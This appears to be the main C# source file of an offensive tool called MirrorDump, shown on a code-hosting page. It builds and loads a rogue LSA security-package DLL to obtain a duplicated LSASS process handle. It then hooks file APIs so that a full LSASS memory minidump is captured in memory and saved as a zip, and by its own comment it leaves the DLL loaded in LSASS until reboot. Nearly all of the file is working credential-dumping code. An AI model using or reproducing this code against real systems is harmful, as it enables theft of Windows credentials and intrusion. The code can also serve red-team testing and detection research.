-
Notifications
You must be signed in to change notification settings - Fork 60
/
Program.cs
127 lines (104 loc) · 5.61 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
using MirrorDump.Lsa;
using Mono.Options;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
using static MirrorDump.MiniDumpToMem;
using static MirrorDump.ProcessUtility;
using static MirrorDump.WinAPI;
namespace MirrorDump {
class Program {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
static IntPtr MagicHandle = new IntPtr(0x5555555);
static void SaveZip(string fileName, DumpContext dc) {
using (var fileStream = new FileStream(fileName, FileMode.Create, FileAccess.ReadWrite)) {
using (var archive = new ZipArchive(fileStream, ZipArchiveMode.Create, true)) {
var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.dmp");
using (var entryStream = lsassDump.Open()) {
using (var streamWriter = new BinaryWriter(entryStream)) {
streamWriter.Write(dc.Data, 0, (int)dc.Size);
}
}
}
}
}
static ProcessHandle FindLsassHandle() {
var procHandles = ProcessUtility.GetProcessHandles(Process.GetCurrentProcess());
foreach (var procHandle in procHandles) {
if (procHandle.Process?.ProcessName == "lsass") {
return procHandle;
}
}
return null;
}
static void Main(string[] args) {
int pid = 0;
uint limit = 0;
string fileName = "lsass.zip";
string dllName = "LsaProviderDuper.dll";
bool showHelp = false;
OptionSet option_set = new OptionSet()
.Add("f=|filename=", "Output path for generated zip file", v => fileName = v)
.Add("d=|dllName", "Output LSA DLL name", v => dllName = v)
.Add("l=|limit=", "The maximum amount of memory the minidump is allowed to consume", v => limit = uint.Parse(v))
.Add("h|help", "Display this help", v => showHelp = v != null);
try {
option_set.Parse(args);
if (fileName == null)
showHelp = true;
if (showHelp) {
option_set.WriteOptionDescriptions(Console.Out);
return;
}
} catch (Exception e) {
Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
option_set.WriteOptionDescriptions(Console.Out);
return;
}
//Generate our LSA plugin DLL that will duplicate lsass handle into this process
Console.Write($"[+] Generating new LSA DLL {dllName} targeting PID {Process.GetCurrentProcess().Id}.....");
LsaAssembly.GenerateLsaPlugin(dllName);
Console.WriteLine($"Done.");
//Load our LSA plugin. This will actually return a failiure due to us
//not implementing a correct LSA plugin, but it's enough to duplicate the handle
SECURITY_PACKAGE_OPTIONS spo = new SECURITY_PACKAGE_OPTIONS();
AddSecurityPackage(new FileInfo(dllName).FullName, spo);
Console.WriteLine("[+] LSA security package loaded, searching current process for duplicated LSASS handle");
//Now search this process for the duplicated handle that the LSA plugin done on our behalf
var procHandle = FindLsassHandle();
if(procHandle != null) {
Console.WriteLine($"[+] Found duplicated LSASS process handle 0x{procHandle.Handle.ToInt64():x}");
} else {
Console.WriteLine($"[!] Failed to get LSASS handle, bailing!");
return;
}
//http://cybernigma.blogspot.com/2014/03/using-sspap-lsass-proxy-to-mitigate.html
//It actually has no effect what so ever, so only a reboot will get rid of the DLL from LSASS
DeleteSecurityPackage(new FileInfo(dllName).FullName);
//OK, first part done. We have our LSASS handle. Now lets perform our dump in memory
//by hook the relevant file writing API's and redirect to memory
MiniDumpToMem.InitHookEngine(MagicHandle, limit, procHandle.Process.Id, procHandle.Handle);
Console.Write("[=] Dumping LSASS memory");
if (!MiniDumpWriteDump(procHandle.Handle, (uint)procHandle.Process.Id, MagicHandle, MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero)) {
if (Marshal.GetLastWin32Error() == ERROR_DISK_FULL) {
Console.WriteLine("\n[!] Minidump memory limit reached, could not create dump");
} else {
Console.WriteLine($"\n[!] Minidump generation failed with error 0x{Marshal.GetHRForLastWin32Error():x}");
}
} else {
Console.WriteLine($"\n[+] Minidump successfully saved to memory, size {Math.Round(MiniDumpToMem.GetDumpContextFromHandle(MagicHandle).Size / 1024.0 / 1024.0, 2)}MB");
}
//All done, lets clean up and zip our dump for demo purposes
CloseHandle(procHandle.Handle);
MiniDumpToMem.ShutdownHookEngine();
SaveZip(fileName, MiniDumpToMem.GetDumpContextFromHandle(MagicHandle));
Console.WriteLine($"[+] Minidump compressed and saved to {fileName}");
}
}
}